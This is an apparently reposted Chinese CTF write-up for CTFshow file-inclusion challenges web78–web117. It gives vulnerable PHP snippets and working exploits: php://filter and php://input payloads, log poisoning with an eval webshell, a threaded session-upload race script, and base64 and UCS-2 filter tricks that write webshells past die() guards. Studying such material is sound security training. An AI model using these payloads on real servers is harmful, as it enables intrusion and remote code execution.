IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFshow web入门文件包含 -> 正文阅读

[PHP知识库]CTFshow web入门文件包含

前言:看题
web78:

? ? if(isset($_GET['file'])){
? ? ? ? $file = $_GET['file'];
? ? ? ? include($file);
? ? }else{
? ? ? ? highlight_file(__FILE__);
? ? }
发现include是文件包含没错了,伪协议读取出来就可以了

? ? exp:?file=php://filter/convert.base64-encode/resource=flag.php
web79:

? ? if(isset($_GET['file'])){
? ? ? ? $file = $_GET['file'];
? ? ? ? $file = str_replace("php", "???", $file);
? ? ? ? include($file);
? ? }
php替换了???,大小绕过,使用php://input
exp:get:?file=Php://input ?post:<?php system("tac flag.php");?>

web80:

? ? if(isset($_GET['file'])){
? ? ? ? $file = $_GET['file'];
? ? ? ? $file = str_replace("php", "???", $file);
? ? ? ? $file = str_replace("data", "???", $file);
? ? ? ? include($file);
? ? }
过滤了data,继续使用上题的exp即可

web81:
在上题的基础上又把:过滤了。这里使用日志包含来发包
exp:

? ? import requests
? ??
? ? url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"
? ? headers = {
? ? ? ? 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
? ? }
? ? data = {
? ? ? ? 'dotast': 'system("cat fl0g.php");'
? ? }
? ? req = requests.get(url=url, headers=headers)
? ? result = requests.post(url=url, data=data)
? ? print(result.text)
web82:

? ? if(isset($_GET['file'])){?
? ? ? ? $file = $_GET['file'];?
? ? ? ? $file = str_replace("php", "???", $file);?
? ? ? ? $file = str_replace("data", "???", $file);?
? ? ? ? $file = str_replace(":", "???", $file);?
? ? ? ? $file = str_replace(".", "???", $file);?
? ? ? ? include($file);?
? ? }else{?
? ? ? ? highlight_file(__FILE__);?
? ? }
这题又把.给过滤了使用日志文件包含就没作用了,这里可以使用session文件包含,php5.4之后默认选项:
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off

**第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成**
exp:

? ? import io
? ? import requests
? ? import threading
? ? url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/'
? ??
? ? def write(session):
? ? ? ? data = {
? ? ? ? ? ? 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
? ? ? ? }
? ? ? ? while True:
? ? ? ? ? ? f = io.BytesIO(b'a' * 1024 * 10)
? ? ? ? ? ? response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
? ? def read(session):
? ? ? ? while True:
? ? ? ? ? ? response = session.get(url+'?file=/tmp/sess_flag')
? ? ? ? ? ? if 'dotast' in response.text:
? ? ? ? ? ? ? ? print(response.text)
? ? ? ? ? ? ? ? break
? ? ? ? ? ? else:
? ? ? ? ? ? ? ? print('retry')
? ??
? ? if __name__ == '__main__':
? ? ? ? session = requests.session()
? ? ? ? for i in range(30):
? ? ? ? ? ? threading.Thread(target=write, args=(session,)).start()
? ? ? ? for i in range(30):
? ? ? ? ? ? threading.Thread(target=read, args=(session,)).start()

web83-84通用82exp脚本

web85:

? ? if(isset($_GET['file'])){
? ? ? ? $file = $_GET['file'];
? ? ? ? $file = str_replace("php", "???", $file);
? ? ? ? $file = str_replace("data", "???", $file);
? ? ? ? $file = str_replace(":", "???", $file);
? ? ? ? $file = str_replace(".", "???", $file);
? ? ? ? if(file_exists($file)){
? ? ? ? ? ? $content = file_get_contents($file);
? ? ? ? ? ? if(strpos($content, "<")>0){
? ? ? ? ? ? ? ? die("error");
? ? ? ? ? ? }
? ? ? ? ? ? include($file);
? ? ? ? }
? ? }
加了个die,没啥影响,在上一个脚本的基础多加点线程就可以了
exp:

? ? import io
? ? import requests
? ? import threading
? ? url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'
? ??
? ? def write(session):
? ? ? ? data = {
? ? ? ? ? ? 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
? ? ? ? }
? ? ? ? while True:
? ? ? ? ? ? f = io.BytesIO(b'a' * 1024 * 10)
? ? ? ? ? ? response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
? ? def read(session):
? ? ? ? while True:
? ? ? ? ? ? response = session.get(url+'?file=/tmp/sess_flag')
? ? ? ? ? ? if 'dotast' in response.text:
? ? ? ? ? ? ? ? print(response.text)
? ? ? ? ? ? ? ? break
? ? ? ? ? ? else:
? ? ? ? ? ? ? ? print('retry')
? ??
? ? if __name__ == '__main__':
? ? ? ? session = requests.session()
? ? ? ? for i in range(30):
? ? ? ? ? ? threading.Thread(target=write, args=(session,)).start()
? ? ? ? for i in range(30):
? ? ? ? ? ? threading.Thread(target=read, args=(session,)).start()
web86同上exp脚本

web87:

? ? if(isset($_GET['file'])){
? ? ? ? $file = $_GET['file'];
? ? ? ? $content = $_POST['content'];
? ? ? ? $file = str_replace("php", "???", $file);
? ? ? ? $file = str_replace("data", "???", $file);
? ? ? ? $file = str_replace(":", "???", $file);
? ? ? ? $file = str_replace(".", "???", $file);
? ? ? ? file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
? ? }
将一句话base64编码,又因为phpdie为6个字符,再+两个字符正好8个,在解码的时候会忽略掉<?php die('大佬别秀了');?>
注意源码有一次解码,所以url加密两次
exp:

? ? import requests
? ??
? ? url = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/"
? ? #经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php
? ? get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30"
? ? get_url = url + "?file=" + get_data
? ? data = {
? ? ? ? 'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg=='
? ? }
? ? res = requests.post(url=get_url, data=data)
? ? shell_url = url + "dotast.php"
? ? test = requests.get(shell_url)
? ? if(test.status_code == 200):
? ? ? ? print("[*]getshell成功")
? ? ? ? shell_data = {
? ? ? ? ? ? 'pass': 'system("cat fl0g.php");'
? ? ? ? }
? ? ? ? result = requests.post(url=shell_url, data=shell_data)
? ? ? ? print(result.text)

web88:

? ? if(isset($_GET['file'])){
? ? ? ? $file = $_GET['file'];
? ? ? ? if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
? ? ? ? ? ? die("error");
? ? ? ? }
? ? ? ? include($file);
? ? }
过滤了php,没过滤data,使用data协议进行包含,base64编码一下
exp:

? ? ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
web116:本地包含漏洞,盲猜下路径,包含flag就可以
exp:/index.php?file=/var/www/html/flag.php

web117:

? ? <?php
? ? highlight_file(__FILE__);
? ? error_reporting(0);
? ? function filter($x){
? ? ? ? if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
? ? ? ? ? ? die('too young too simple sometimes naive!');
? ? ? ? }
? ? }
? ? $file=$_GET['file'];
? ? $contents=$_POST['contents'];
? ? filter($file);
? ? file_put_contents($file, "<?php die();?>".$contents);?
过滤了base64,就不能使用base64编码绕过前面的phpdie了,这里引用了一个新的思路
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从in_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

? ? $result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>');
? ? echo "经过一次反转:".$result."\n";
? ? echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
? ??
? ? //输出结果如下:
? ? //经过一次反转:?<hp pe@av(l_$OPTSd[tosa]t;)>?
? ? //经过第二次反转:<?php @eval($_POST[dotast]);?>
经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行
exp:

? ? import requests
? ??
? ? url = "http://8a412388-9727-4ea0-8b0d-1f144f2d1a87.chall.ctf.show:8080/"
? ? get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php"
? ? get_url = url + "?file=" + get_data
? ? data = {
? ? ? ? 'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?'
? ? }
? ? res = requests.post(url=get_url, data=data)
? ? shell_url = url + "dotast.php"
? ? test = requests.get(shell_url)
? ? if(test.status_code == 200):
? ? ? ? print("[*]getshell成功")
? ? ? ? shell_data = {
? ? ? ? ? ? 'dotast': 'system("cat flag.php");'
? ? ? ? }
? ? ? ? result = requests.post(url=shell_url, data=shell_data)
? ? ? ? print(result.text)
?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-06 11:59:30  更:2021-10-06 11:59:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年2日历 -2025/2/27 14:02:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码